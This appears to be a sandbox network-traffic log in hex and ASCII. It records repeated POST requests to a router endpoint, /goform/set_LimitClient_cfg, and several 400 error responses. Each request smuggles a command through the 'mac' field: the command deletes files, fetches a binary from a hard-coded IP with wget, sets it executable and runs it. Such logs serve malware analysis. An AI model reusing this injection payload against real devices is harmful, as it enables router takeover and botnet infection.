66 65 66 3b 0a 09 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 32 70 78 3b 0a 09 63 6f 6c 6f 72 3a 20 23 31 65 31 65 31 65 3b 0a 7d 0a 0a 2f 2a 20 50 61 67 65 20 64 69 73 70 6c 61 79 65 64 20 74 69 74 6c 65 20 61 72 65 61 20 2a 2f 0a 23 74 69 74 6c 65 73 20 7b 0a 09 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 31 35 70 78 3b 0a 09 70 61 64 64 69 6e 67 3a 20 31 30 70 78 3b 0a 09 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 20 31 30 30 70 78 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 75 72 6c 28 27 2f 73 71 75 69 64 2d 69 6e 74 65 72 6e 61 6c 2d 73 74 61 74 69 63 2f 69 63 6f 6e 73 2f 53 4e 2e 70 6e 67 27 29 20 6e 6f 2d Data Ascii: <html><head><meta type="copyright" content="Copyright (C) 1996-2016 The Squid Software Foundation and contributors"><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><title>ERROR: The requested URL could not be retrieved</title><style type="text/css">... /* * Copyright (C) 1996-2016 The Squid Software Foundation and contributors * * Squid software is distributed under GPLv2+ license and includes * contributions from numerous individuals and organizations. * Please see the COPYING and CONTRIBUTORS files for details. // Stylesheet for Squid Error pages Adapted from design by Free CSS Templates http://www.freecsstemplates.org Released for free under a Creative Commons Attribution 2.5 License// Page basics / {font-family: verdana, sans-serif;}html body {margin: 0;padding: 0;background: #efefef;font-size: 12px;color: #1e1e1e;}/* Page displayed title area */#titles {margin-left: 15px;padding: 10px;padding-left: 100px;background: url('/squid-internal-static/icons/SN.png') no-

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 13:07:48.429800987 CEST	235	OUT	POST /goform/set_LimitClient_cfg HTTP/1.1 Cookie: user=admin Data Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf mpsl;
Apr 19, 2024 13:07:48.560743093 CEST	339	IN	HTTP/1.1 400 Bad Request Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 11:07:48 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 13:07:52.020246983 CEST	223	OUT	POST /goform/set_LimitClient_cfg HTTP/1.1 Cookie: user=admin Data Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf mpsl;
Apr 19, 2024 13:07:53.611291885 CEST	223	OUT	POST /goform/set_LimitClient_cfg HTTP/1.1 Cookie: user=admin Data Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf mpsl;
Apr 19, 2024 13:07:55.499239922 CEST	223	OUT	POST /goform/set_LimitClient_cfg HTTP/1.1 Cookie: user=admin Data Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf mpsl;
Apr 19, 2024 13:07:59.371089935 CEST	223	OUT	POST /goform/set_LimitClient_cfg HTTP/1.1 Cookie: user=admin Data Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf mpsl;
Apr 19, 2024 13:08:07.050904989 CEST	223	OUT	POST /goform/set_LimitClient_cfg HTTP/1.1 Cookie: user=admin Data Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf mpsl;
Apr 19, 2024 13:08:22.154438972 CEST	223	OUT	POST /goform/set_LimitClient_cfg HTTP/1.1 Cookie: user=admin Data Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf mpsl;
Apr 19, 2024 13:08:53.385564089 CEST	223	OUT	POST /goform/set_LimitClient_cfg HTTP/1.1 Cookie: user=admin Data Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf mpsl;

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 13:07:55.445008039 CEST	235	OUT	POST /goform/set_LimitClient_cfg HTTP/1.1 Cookie: user=admin Data Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf mpsl;
Apr 19, 2024 13:07:55.554514885 CEST	328	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 19 Apr 2024 11:07:55 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 13:07:55.554434061 CEST	235	OUT	POST /goform/set_LimitClient_cfg HTTP/1.1 Cookie: user=admin Data Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf mpsl;
Apr 19, 2024 13:07:55.658377886 CEST	328	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 19 Apr 2024 11:07:55 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 13:07:59.315723896 CEST	235	OUT	POST /goform/set_LimitClient_cfg HTTP/1.1 Cookie: user=admin Data Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf mpsl;
Apr 19, 2024 13:07:59.468590975 CEST	1289	IN	HTTP/1.0 400 Bad Request Server: squid/3.1.23 Mime-Version: 1.0 Date: Fri, 19 Apr 2024 11:07:59 GMT Content-Type: text/html Content-Length: 3181 X-Squid-Error: ERR_INVALID_URL 0 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 20 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 20 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 74 69 74 6c 65 3e 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 20 20 20 2f 2a 0a 20 53 74 79 6c 65 73 68 65 65 74 20 66 6f 72 20 53 71 75 69 64 20 45 72 72 6f 72 20 70 61 67 65 73 0a 20 41 64 61 70 74 65 64 20 66 72 6f 6d 20 64 65 73 69 67 6e 20 62 79 20 46 72 65 65 20 43 53 53 20 54 65 6d 70 6c 61 74 65 73 0a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 66 72 65 65 63 73 73 74 65 6d 70 6c 61 74 65 73 2e 6f 72 67 0a 20 52 65 6c 65 61 73 65 64 20 66 6f 72 20 66 72 65 65 20 75 6e 64 65 72 20 61 20 43 72 65 61 74 69 76 65 20 43 6f 6d 6d 6f 6e 73 20 41 74 74 72 69 62 75 74 69 6f 6e 20 32 2e 35 20 4c 69 63 65 6e 73 65 0a 2a 2f 0a 0a 2f 2a 20 50 61 67 65 20 62 61 73 69 63 73 20 2a 2f 0a 2a 20 7b 0a 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 7d 0a 0a 68 74 6d 6c 20 62 6f 64 79 20 7b 0a 09 6d 61 72 67 69 6e 3a 20 30 3b 0a 09 70 61 64 64 69 6e 67 3a 20 30 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 65 66 65 66 65 66 3b 0a 09 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 32 70 78 3b 0a 09 63 6f 6c 6f 72 3a 20 23 31 65 31 65 31 65 3b 0a 7d 0a 0a 2f 2a 20 50 61 67 65 20 64 69 73 70 6c 61 79 65 64 20 74 69 74 6c 65 20 61 72 65 61 20 2a 2f 0a 23 74 69 74 6c 65 73 20 7b 0a 09 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 31 35 70 78 3b 0a 09 70 61 64 64 69 6e 67 3a 20 31 30 70 78 3b 0a 09 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 20 31 30 30 70 78 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 75 72 6c 28 27 68 74 74 70 3a 2f 2f 77 77 77 2e 73 71 75 69 64 2d 63 61 63 68 65 2e 6f 72 67 2f 41 72 74 77 6f 72 6b 2f 53 4e 2e 70 6e 67 27 29 20 6e 6f 2d 72 65 70 65 61 74 20 6c 65 66 74 3b 0a 7d 0a 0a 2f 2a 20 69 6e 69 74 69 61 6c 20 74 69 74 6c 65 20 2a 2f 0a 23 74 69 74 6c 65 73 20 68 31 20 7b 0a 09 63 6f 6c 6f 72 3a 20 23 30 30 30 30 30 30 3b 0a 7d 0a 23 74 69 74 6c 65 73 20 68 32 20 7b 0a 09 63 6f 6c 6f 72 3a 20 23 30 30 30 30 30 30 3b 0a 7d 0a 0a 2f 2a 20 73 70 65 63 69 61 6c 20 65 76 65 6e 74 3a 20 46 54 50 20 73 75 63 63 65 73 73 20 70 61 67 65 20 74 69 74 6c 65 73 20 2a 2f 0a 23 74 69 74 6c 65 73 20 66 74 70 73 75 63 63 65 73 73 20 7b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 66 66 30 30 3b 0a 09 77 69 64 74 68 3a 31 30 30 25 3b 0a 7d 0a 0a 2f 2a 20 50 61 67 65 20 64 69 73 70 6c 61 79 65 64 20 62 6f 64 79 20 63 6f 6e 74 65 6e 74 20 61 72 65 61 20 2a 2f 0a 23 63 6f 6e 74 65 6e 74 20 7b 0a 09 70 61 64 64 69 6e 67 3a 20 31 30 70 78 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 66 66 66 66 66 66 3b 0a 7d Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html><head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> <title>ERROR: The requested URL could not be retrieved</title> <style type="text/css">... /* Stylesheet for Squid Error pages Adapted from design by Free CSS Templates http://www.freecsstemplates.org Released for free under a Creative Commons Attribution 2.5 License// Page basics / {font-family: verdana, sans-serif;}html body {margin: 0;padding: 0;background: #efefef;font-size: 12px;color: #1e1e1e;}/* Page displayed title area /#titles {margin-left: 15px;padding: 10px;padding-left: 100px;background: url('http://www.squid-cache.org/Artwork/SN.png') no-repeat left;}/ initial title /#titles h1 {color: #000000;}#titles h2 {color: #000000;}/ special event: FTP success page titles /#titles ftpsuccess {background-color:#00ff00;width:100%;}/ Page displayed body content area */#content {padding: 10px;background: #ffffff;}

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 13:08:03.262435913 CEST	235	OUT	POST /goform/set_LimitClient_cfg HTTP/1.1 Cookie: user=admin Data Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf mpsl;
Apr 19, 2024 13:08:03.588283062 CEST	211	IN	HTTP/1.1 400 Bad Request Date: Fri, 19 Apr 2024 11:08:03 GMT Server: Apache Vary: Accept-Encoding Content-Length: 11 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 42 61 64 20 52 65 71 75 65 73 74 Data Ascii: Bad Request

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 13:08:06.215544939 CEST	235	OUT	POST /goform/set_LimitClient_cfg HTTP/1.1 Cookie: user=admin Data Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf mpsl;
Apr 19, 2024 13:08:06.525248051 CEST	337	IN	HTTP/1.1 400 Bad Request Server: nginx/1.10.3 Date: Fri, 19 Apr 2024 11:08:13 GMT Content-Type: text/html Content-Length: 173 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 30 2e 33 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.10.3</center></body></html>